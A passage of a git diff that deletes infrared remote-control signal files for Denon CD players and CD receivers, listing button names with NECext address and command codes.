-type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir deleted file mode 100644 index 51c22a923..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir deleted file mode 100644 index 5edc9e794..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C0 00 00 00 -# -name: MODE_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FA 00 00 00 -# -name: CROSS_FADE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FB 00 00 00 -# -name: ALL_DISCS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FC 00 00 00 -# -name: 1_DISC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FD 00 00 00 -# -name: REPEAT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FE 00 00 00 -# -name: BEST_HIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir deleted file mode 100644 index 352baaa08..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STROBE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 41 00 00 00 -# -name: DIGITAL_FNR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 42 00 00 00 -# -name: STILL_&_SOUND -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 43 00 00 00 -# -name: ART -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 57 00 00 00 -# -name: SIDE_A -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 76 00 00 00 -# -name: SIDE_B -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 77 00 00 00 -# -name: JOG_REV -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 79 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 81 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 82 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 83 00 00 00 -# -name: PLAY>/PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 84 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 86 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 87 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 88 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 89 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 8A 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 8B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 8E 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 8F 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 90 00 00 00 -# -name: DIGITAL/ANALOG/CX -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 91 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 92 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 93 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 94 00 00 00 -# -name: MULTI_SPEED_> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 98 00 00 00 -# -name: MULTI_SPEED_< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 99 00 00 00 -# -name: STROBE_+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 9A 00 00 00 -# -name: STROBE_- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 9B 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 9C 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 9D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 9E 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 9F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A0 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A1 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A2 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A3 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A6 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A8 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: A9 00 00 00 -# -name: SINGLE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: B1 00 00 00 -# -name: JOG_FWD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: B9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir deleted file mode 100644 index 296cde8c1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir +++ /dev/null @@ -1,956 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: 1_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: 2_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: 3_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: 4_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: 5_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: 6_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: 7_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: 8_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: 9_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: 10_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: +10_TRACK_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: PROG/DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: PROGRAM/DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: VOLUME- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: FT_FILE_CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: TIME_MODE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: REPEAT_ALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: ALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: >>I -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: AUTO_SEARCH_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: PREV. -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: SKIP_REW_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: I<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: AUTO_SEARCH_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: TIME_SEARCH -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 60 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: A_SPACE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: REPEAT_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 62 00 00 00 -# -name: DISC_SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 62 00 00 00 -# -name: AUTO_EDIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 63 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 64 00 00 00 -# -name: 1_DISC_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 64 00 00 00 -# -name: 1_DISC_NO/STORE_NO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 64 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 65 00 00 00 -# -name: 2_DISC_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 65 00 00 00 -# -name: 2_DISC_NO/STORE_NO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 65 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 66 00 00 00 -# -name: 3_DISC_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 66 00 00 00 -# -name: 3_DISC_NO/STORE_NO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 66 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 67 00 00 00 -# -name: 4_DISC_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 67 00 00 00 -# -name: 4_DISC_NO/STORE_NO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 67 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 68 00 00 00 -# -name: 5_DISC_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 68 00 00 00 -# -name: 5_DISC_NO/STORE_NO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 68 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 69 00 00 00 -# -name: 6_DISC_NUMBER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 69 00 00 00 -# -name: 6_DISC_NO/STORE_NO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 69 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: RAMDOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_SKIP+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_SKIP_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6C 00 00 00 -# -name: FILE-FT_FILE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6C 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6C 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6D 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: DISC_SKIP- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: DISC_SKIP_DN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 73 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 75 00 00 00 -# -name: DISPLAY_SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 75 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 76 00 00 00 -# -name: PITCH_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 77 00 00 00 -# -name: PITCH_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 78 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7D 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: F8 00 00 00 -# -name: SINGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: F9 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FA 00 00 00 -# -name: ZONE_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FB 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FC 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FD 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FE 00 00 00 -# -name: TRACK/CAPS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir deleted file mode 100644 index e8289efa6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4B 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4D 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 50 00 00 00 -# -name: SOURCE_TUNER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: SOURCE_CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5A 00 00 00 -# -name: SOURCE_LINE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5F 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 68 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 72 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: TIME/DISPLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CF 00 00 00 -# -name: ENTER/MEMO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D1 00 00 00 -# -name: DAB/RDS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D2 00 00 00 -# -name: CLOCK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D3 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D4 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir deleted file mode 100644 index 544602dfd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_REVERSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: TAPE_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir deleted file mode 100644 index 3822fc66b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MINI-DISC_STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E1 00 00 00 -# -name: MINI-DISC_PLAY/PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: E2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir deleted file mode 100644 index 93b24c0a0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: PROGRAM/DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: CLEAR/DELETE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: FAST_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: CD_PLAY/PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: FOLDER_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: FOLDER_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 70 00 00 00 -# -name: FOLDER_MODE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: MENU/SET -type: parsed -protocol: NECext -address: 